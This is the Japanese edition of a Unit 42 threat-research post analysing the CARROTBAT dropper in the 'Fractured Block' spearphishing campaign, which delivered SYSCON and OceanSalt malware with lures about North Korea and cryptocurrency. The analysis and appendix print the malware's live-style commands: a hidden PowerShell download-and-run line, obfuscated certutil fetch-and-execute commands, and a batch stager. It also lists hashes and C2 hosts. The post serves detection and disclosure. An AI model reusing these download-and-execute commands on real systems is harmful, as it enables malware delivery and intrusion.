[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/) Menu * [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42) * [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html) Japanese * [English](https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/) * [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/) * [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ") * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア") [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) # 「Fractured Block (破損ブロック)」キャンペーン: CARROTBATを使用して、東南アジアを標的にしたマルウェアを配信 ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 分で読めます * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) 著者: * [Kyle Wilhoit](https://unit42.paloaltonetworks.com/ja/author/kyle-wilhoit/) * [Josh Grunzweig](https://unit42.paloaltonetworks.com/ja/author/josh-grunzweig/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) 公開日:2018年11月29日 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) カテゴリー * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) タグ: * [CARROTBAT](https://unit42.paloaltonetworks.com/ja/tag/carrotbat-ja/) * [Syscon](https://unit42.paloaltonetworks.com/ja/tag/syscon-ja/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/?pdf=download&lg=ja&_wpnonce=c159619a8e "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/?pdf=print&lg=ja&_wpnonce=c159619a8e "Click here to print") 共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)]( "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)]( "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)]( "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)]( "Share in Mastodon") ## 概要 パロアルトネットワークス脅威リサーチチームUnit 42は、これまでに報告されていないカスタマイズされたドロッパーを活用したキャンペーンを明らかにしました。このドロッパーは、主に韓国および北朝鮮地域に関係したルアー(わな)を配信するために使用されます。これらのルアーは、さまざまな仮想通貨、仮想通貨交換所、政治情勢などの、一連の話題を扱っています。ドロッパー内に発見されたさまざまな情報から、Unit 42はこのマルウェア ファミリをCARROTBATと名付けました。 CARROTBATは、最初に2017年12月の攻撃で観測されました。この攻撃は、SYSCONマルウェア ファミリを使用し、英国政府機関を標的として行われました。[SYSCON](https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/)は、シンプルなリモート アクセス型トロイの木馬(RAT)で、ネットワーク通信にファイル転送プロトコル(FTP)を使用します。英国政府機関に対するこの攻撃で､CARROTBATドロッパーが活用されたという証拠はありません。しかし弊社は、この攻撃のインフラストラクチャ内にいくつかの重複を発見しており、ここから最初に観測されたCARROTBATに行き着いただけでなく、これら2つのマルウェア ファミリ間に他にもつながりがあることを発見しました。 これまでの攻撃では29件のユニークなCARROTBATサンプルが特定されており、これらのサンプルには合計12件のユニークなおとり文書が含まれていることが確認されました。これらのサンプルは、今年3月から観測されており、発生した活動の大半が過去3か月に集中しています。ペイロードは多岐にわたります｡初期のインスタンスはSYSCONを配信していましたが、新しいインスタンスは既知の[OceanSalt](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf)マルウェア ファミリを配信しています。CARROTBATとそれに関連するペイロードは、私たちが「Fractured Block (破損ブロック)」と名付けたキャンペーンの一部となっています。 ### 最初の攻撃 2017年12月13日、yuri.sidorav@yandex\[.\]ruという電子メール アドレスから、英国政府機関内の重要な役職にある個人に対して、スピアフィッシング メールが送信されました。この電子メールには、以下の件名が含まれており、同じ名前の文書ファイルが添付されていました。 * US. would talk with North Korea "without precondition" (米国は、北朝鮮と「前提条件なしで」対話する用意がある) 添付されたWord文書内には、以下のテキストが表示されています。 U.S. would talk with North Korea "without precondition" (米国は、北朝鮮と「前提条件なしで」対話する用意がある): ティラーソン国務長官、記事:Seungmock Oh このテキストは、NKNews\[.\]orgによる[攻撃と同日に公開された](https://www.nknews.org/2017/12/u-s-would-talk-with-north-korea-without-precondition-tillerson/)記事に言及しています。問題の記事は、米国と北朝鮮の外交関係を取り扱っていました。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-283.png) *図1 英国政府機関に対する攻撃においておとり文書で言及された記事* 添付された文書は、[DDEエクスプロイト](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/)を活用して、最終的に以下のコードを実行します。 c:\\\\windows\\\\system32\\\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp\[.\]com/0\_31.doc', '%TEMP%\\\\AAA.exe');Start-Process('%TEMP%\\\\AAA.exe') |---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | c:\\\\windows\\\\system32\\\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp\[.\]com/0\_31.doc', '%TEMP%\\\\AAA.exe');Start-Process('%TEMP%\\\\AAA.exe') | パロアルトネットワークスが、初めてDDEエクスプロイト技法を発見したのは2017年5月で、攻撃者は継続してこのエクスプロイトを活用しています。この特定のマルウェア サンプルによって実行されるコマンドは、0\_31.docという名前のリモート実行可能ファイルをダウンロードしようとします。ダウンロードされたファイルは、AAA.exeというファイル名で被害端末の%TEMP%ディレクトリに配置されてから実行されます。 問題のペイロードは、SYSCONマルウェア ファミリに属しています。これは、コマンド\&コントロール(C2)用に、FTPを介してftp.bytehost31\[.\]orgと通信します。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-285.png) *図2 実行時に確認されたSYSCONネットワーク トラフィック* SYSCONサンプルをホストするドメイン、881.000webhostapp\[.\]comに注目することで、多数の追加サンプルが明らかになりました。これには、KONNIマルウェア ファミリのサンプルが1つと、CARROTBATマルウェア ファミリに属する64ビットの実行可能ファイルが4つ含まれていました。さらにCARROTBATの特性に注目することで、最終的にこのマルウェア ファミリで29件の固有サンプルを特定することができました。 ### 「Fractured Block (破損ブロック)」キャンペーン 「Fractured Block (破損ブロック)」と命名したキャンペーンは、これまでに識別されたすべてのCARROTBATサンプルを包含しています。CARROTBAT自体はドロッパーであり、これを使用して攻撃者は、組み込まれたおとりファイルをドロップして開き、その後コマンドを実行することで、標的のマシン上でペイロードをダウンロードして実行します。このマルウェアは、合計で以下の11のおとり文書のファイル形式をサポートしています。 * doc * .docx * .eml * .hwp * .jpg * .pdf * .png * .ppt * .pptx * .xls * .xlsx 組み込まれたおとり文書が開かれると、以下のような難読化されたコマンドがシステムで実行されます。 C: \&\& cd %TEMP% \&\& c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp\[.\]com/1.txt \&\& ren 1.txt 1.bat \&\& 1.bat \&\& exit |---|-------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | C: \&\& cd %TEMP% \&\& c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp\[.\]com/1.txt \&\& ren 1.txt 1.bat \&\& 1.bat \&\& exit | このコマンドは、Microsoft Windowsの組み込みのcertutil ユーティリティを介して、リモート ファイルをダウンロードし、実行しようとします。この技法およびCARROTBATマルウェア ファミリについての詳細は、[付録](#post-104954-appendix)を参照してください。 29件の固有のCARROTBATマルウェア サンプルでは、コンパイルのタイムスタンプが2018年3月から2018年9月の間でした。これらの29件の固有サンプルのうち、11件の固有のおとり文書が攻撃で活用されていました(以下の図参照)。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-287.png) *図3 CARROTBATがドロップするおとり文書の時系列* 韓国の被害者を標的にしているおとり文書の大半が、仮想通貨に関連した話題を扱っていました。1つの固有ケースでは、おとり文書にCOINVILで働く個人の名刺が含まれていました。COINVILは、2018年5月にフィリピンで仮想通貨交換所を立ち上げる計画を発表した組織です。 また別のルアーの件名には、米国と北朝鮮の関係や、トランプ米大統領のシンガポール サミット出席など、タイムリーな政治情勢が含まれていました。 CARROTBATサンプルのペイロードはさまざまでした。初めは、2018年3月から2018年7月の間に、SYSCONマルウェア ファミリの複数のインスタンスが観測されました。これらのサンプルは、C2通信用にFTPを介して、以下のホストと通信していました。 * ftp.byethost7\[.\]com * ftp.byethost10\[.\]com * files.000webhost\[.\]com 2018年6月からは、OceanSaltマルウェア ファミリがCARROTBATによってドロップされるのが観測されました。これらのサンプルは、本ブログの執筆時点でも依然として使用されており、C2通信用に以下のホストと通信していることが観測されました。 * 61\.14.210\[.\]72:7117 ### 他の脅威活動との興味深い関係 このブログの初めに述べたとおり、CARROTBATとKONNIのマルウェア ファミリ間には、インフラストラクチャの重複があります。[KONNI](https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html)は、4年間にわたって使用されてきたと考えられる多機能なRATで、多くの場合、000webhostなどの無料のWebホスティング プロバイダをC2インフラストラクチャ用に活用します。この特定のマルウェア ファミリは、本稿執筆時点ではまだどの脅威グループに帰属するものか判明していませんが､これまでは主に東南アジア地域を標的としてきました。 繰り返し言及してきた別の関係はSYSCONマルウェア ファミリの使用です。この特定のマルウェア ファミリは、[2017年10月に初めて報告](https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/)され、北朝鮮に関係したおとり文書を配信することが観測されました。一般的にこのマルウェアは高度ではなく、C2通信にリモートFTPサーバーを利用しています。 下図では、KONNIの使用が黄色のフラグで、SYSCONの使用が紫色のフラグで強調表示されています。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-288.png) *図4 悪意のある活動の相関を示すMaltegoの図* 最後に、3番目の重複はOceanSaltマルウェア ペイロードです。これは[2018年10月にMcAfee](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf)によって初めて報告され、報告された被害地域は韓国、米国、カナダなどです。McAfeeのレポートで説明されたサンプルと同様に、「Fractured Block」キャンペーンで観測されたOceanSaltサンプルはには Comment Crew (別名APT1)のコード同様の類似性がありましたが、私たちはこうした類似性は意に偽装されたものであると考えています。Comment Crewが使用したマルウェアは長年流通しており、弊社では、このブログ投稿で説明している活動には過去のComment Crewの活動との重複はないと考えています。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-289.png) *図5 脅威活動の重複の経時変化* ## 結論 CARROTBATの発見において鍵となる役割を果たし､この発見が関連するOceanSalt、SYSCONおよびKONNIの活動発見に繋がりました。 この調査で見つかったさまざまな重複は注目に値するもので、私たちはこの脅威活動すべてが同じ脅威攻撃グループに帰属している可能性もあると考えています。 ただし、現時点では、この主張を完全に裏付ける十分な証拠はないと考えています。 CARROTBATマルウェア ファミリはいくぶんユニークなドロッパーで､さまざまな種類のおとり文書をサポートし、基本的なコマンド難読化を採用していますが、さほど高度なものでない､という点にはふれておくべきでしょう。 Fractured Blockの背後にいる攻撃者は引き続き活発ですが、パロアルトネットワークのお客様は、この脅威から以下に示す方法で保護されています。 * AutoFocusをご利用のお客様は、[FracturedBlock](https://autofocus.paloaltonetworks.com/#/tag/Unit42.FracturedBlock)、[SYSCON](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Syscon)、[KONNI](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Konni)、および[CARROTBAT](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CARROTBAT)でこれらのサンプルを調べることができます。 * WildFireは、このレポートで言及したすべてのファイルを、悪意があると判断して検出します。 * Trapsは、Fractured Blockキャンペーンに現在関連付けられたすべてのファイルをブロックします。 この脅威の調査を支援してくださったChronicleのVirusTotalチームに深く感謝します。 ## 付録 ### CARROTBATの技術的分析 以下の分析には次のサンプルを使用しています。 |---------------|------------------------------------------------------------------| | MD5 | 3e4015366126dcdbdcc8b5c508a6d25c | | SHA1 | f459f9cfbd10b136cafb19cbc233a4c8342ad984 | | SHA256 | aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de | | ファイル タイプ | PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応 | | コンパイル タイムスタンプ | 2018/09/05 0:17:22 UTC | 実行時、このマルウェアは自身の最後の8バイトを読み取ります。これらのバイトには、埋め込まれたおとり文書の長さとファイルの種類の両方を含む2つのDWORDが含まれています。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-290.png) *図6 おとり文書の情報を含むCARROTBATファイルの最後の部分* 収集したこの情報を使用して、CARROTBATは、前に取得した8バイトの前の部分を引き続き読み取ります。このデータには、埋め込まれたおとり文書全体が含まれ、元のマルウェア サンプルと同じディレクトリに同じファイル名で書き込まれます。ただし、ファイル拡張子は、前に取得したファイル タイプの値に基づいて変更されます。次に示す対応する値がCARROTBATで使用されます。 |-------|------------| | **値** | **文書の拡張子** | | 0x0 | .doc | | 0x1 | .pdf | | 0x2 | .jpg | | 0x3 | .xls | | 0x4 | .xlsx | | 0x5 | .hwp | | 0x6 | .docx | | 0x7 | .png | | 0x8 | .eml | | 0x9 | .ppt | | 0xA | .pptx | このケースでは、.hwpファイル拡張子がおとり文書で使用されています。このおとりは、ディスクにドロップされた後、新しいプロセスで開きます。この例では、BKN Bank仮想通貨交換所のホワイトペーパーが被害端末に表示されます。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-291.png) *図7 被害端末に表示されるHWPおとり文書* この文書が表示された後、このマルウェアは新しいプロセスで引き続き次のコマンドを実行します。 C: \&\& cd %TEMP% \&\& c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps\[.\]com/vip/1.txt \&\& ren 1.txt 1.bat \&\& 1.bat \&\& exit |---|----------------------------------------------------------------------------------------------------------------------------------------------| | 1 | C: \&\& cd %TEMP% \&\& c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps\[.\]com/vip/1.txt \&\& ren 1.txt 1.bat \&\& 1.bat \&\& exit | このコマンドは、Microsoft Windowsの組み込みのcertutilコマンドを使用してリモート ファイルをダウンロードします。この例では、次のスクリプトが取得されます。 @echo off :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) :32BITOS certutil -urlcache -split -f http://s8877.1apps\[.\]com/vip/setup.txt \> nul certutil -decode -f setup.txt setup.cab \> nul del /f /q setup.txt \> nul GOTO ISEXIST :64BITOS :certutil -urlcache -split -f http://s8877.1apps\[.\]com/vip/setup2.txt \> nul :certutil -d^ecode -f setup2.txt setup.cab \> nul :del /f /q setup2.txt \> nul :GOTO ISEXIST :ISEXIST if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT) :EXECUTE ver | findstr /i "10\\." \> nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS) :WIN10 expand %TEMP%\\setup.cab -F:\* %CD% \> nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\\drv.dll EntryPoint) %TEMP%\\install.bat GOTO EXIT :OTHEROS wusa %TEMP%\\setup.cab /quiet /extract:%TEMP% \> nul %TEMP%\\install.bat GOTO EXIT :EXIT del /f /q setup.cab \> nul del /f /q %~dpnx0 \> nul |----------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | @echo off :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) :32BITOS certutil -urlcache -split -f http://s8877.1apps\[.\]com/vip/setup.txt \> nul certutil -decode -f setup.txt setup.cab \> nul del /f /q setup.txt \> nul GOTO ISEXIST :64BITOS :certutil -urlcache -split -f http://s8877.1apps\[.\]com/vip/setup2.txt \> nul :certutil -d^ecode -f setup2.txt setup.cab \> nul :del /f /q setup2.txt \> nul :GOTO ISEXIST :ISEXIST if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT) :EXECUTE ver | findstr /i "10\\." \> nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS) :WIN10 expand %TEMP%\\setup.cab -F:\* %CD% \> nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\\drv.dll EntryPoint) %TEMP%\\install.bat GOTO EXIT :OTHEROS wusa %TEMP%\\setup.cab /quiet /extract:%TEMP% \> nul %TEMP%\\install.bat GOTO EXIT :EXIT del /f /q setup.cab \> nul del /f /q %~dpnx0 \> nul | このスクリプトは、単純に被害端末のオペレーティング システムをチェックし、再びcertutil実行ファイルを使用して対応するペイロードをダウンロードします。この例では、ペイロードはbase64でエンコードされていて、これをcertutilがデコードします。問題のペイロードはCABファイルで、その後解凍されます。最後に、マルウェアは、抽出したinstall.batスクリプトを実行し、元のファイルを削除し、終了します。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/02/word-image-96.jpeg) *図8 certutilを使用して最終ペイロードをダウンロードするCARROTBAT* ダウンロードされたCABファイルには次のプロパティがあります。 |----------|------------------------------------------------------------------| | MD5 | a943e196b83c4acd9c5ce13e4c43b4f4 | | SHA1 | e66e416f300c7efb90c383a7630c9cfe901ff9fd | | SHA256 | cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 | | ファイル タイプ | Microsoft Cabinetのアーカイブ データ、181248バイト、3ファイル | 次の3つのファイルおよびその説明がCABファイルによってドロップされます。 |---------------|---------------------------------------------------------------------------------------------------------------| | **ファイル名** | **目的** | | Install.bat | その他のファイルをC:\\Users\\Public\\Downloadsにコピーし、Runレジストリ キーを設定して永続性を確保するインストール バッチ スクリプト。また、これは元のファイルを削除してから終了します。 | | DrvUpdate.dll | OceanSaltマルウェア ファミリのインスタンス | | winnet.ini | エンコードされたC2情報。 | C2情報は、外部のwinnet.iniファイルを使用して保存され、増分XORキーを使用してエンコードされます。Pythonで記述された次の関数を使用してこのファイルをデコードできます。 def decode(data): out = "" c = 0 for d in data: out += chr(ord(d)^c) c+=1 return out |---------------|---------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 | def decode(data): out = "" c = 0 for d in data: out += chr(ord(d)^c) c+=1 return out | デコードされた後、OceanSaltのこのインスタンスがポート7117の61.14.210\[.\]72と通信しようとしていることがわかりました。 ### CARROTBATのサンプル * d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d * 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa * 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 * e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 * 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 * 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 * 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc * ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f * d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 * 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae * 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 * 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b * 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef * 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded * ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb * dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea * 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 * 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96 * aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de * 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 * 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a * 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 * 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd * ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a * e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 * 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 * ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e * e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd * a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc ### SYSCONのペイロード サンプル * 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b * fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 * fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 * da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 * 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 * 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 * f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 * 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 * f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 * e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc * 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 * 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 * 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf * 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b ### OceanSaltのペイロード サンプル * 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 * 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 * fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 * a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0 * 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 * cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 * 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 * 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897 * 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 * 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 * cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 * fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958 ### インフラストラクチャ * https://881.000webhostapp\[.\]com/1.txt * http://attach10132.1apps\[.\]com/1.txt * https://071790.000webhostapp\[.\]com/1.txt * https://vnik.000webhostapp\[.\]com/1.txt * https://7077.000webhostapp\[.\]com/vic/1.txt * http://a7788.1apps\[.\]com/att/1.txt * http://s8877.1apps\[.\]com/vip/1.txt * http://hanbosston.000webhostapp\[.\]com/1.txt * http://bluemountain.1apps\[.\]com/1.txt * https://www.webmail-koryogroup\[.\]com/keep/1.txt * http://filer1.1apps\[.\]com/1.txt * ftp.byethost7\[.\]com * ftp.byethost10\[.\]com * files.000 * webhost\[.\]com61.14.210\[.\]72:7117 トップに戻る ### タグ * [CARROTBAT](https://unit42.paloaltonetworks.com/ja/tag/carrotbat-ja/ "CARROTBAT") * [Syscon](https://unit42.paloaltonetworks.com/ja/tag/syscon-ja/ "Syscon") [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:新しいワインを古いボトルで: Falloutエクスプロイト キットを使用したFindMyNameキャンペーンで新たなAzorultの亜種を発見](https://unit42.paloaltonetworks.com/ja/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/ "新しいワインを古いボトルで: Falloutエクスプロイト キットを使用したFindMyNameキャンペーンで新たなAzorultの亜種を発見") ### 目次 * ### 関連記事 * [Fractured Statue攻撃キャンペーン: スピアフィッシング攻撃で米国政府が標的に](https://unit42.paloaltonetworks.com/ja/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/ "article - table of contents") ## 関連項目 マルウェア リソース ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年8月6日 [#### ChainDropの脅威の概要:自己増殖型npmワームの内部](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/ja/tag/blockchain-ja/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/ja/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/ja/tag/claude-code/ "Claude code") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/ "ChainDropの脅威の概要:自己増殖型npmワームの内部") ![Pictorial representation of the npm packages supply chain attack. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/05_Malware_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年6月2日 [#### npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/) * [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting") * 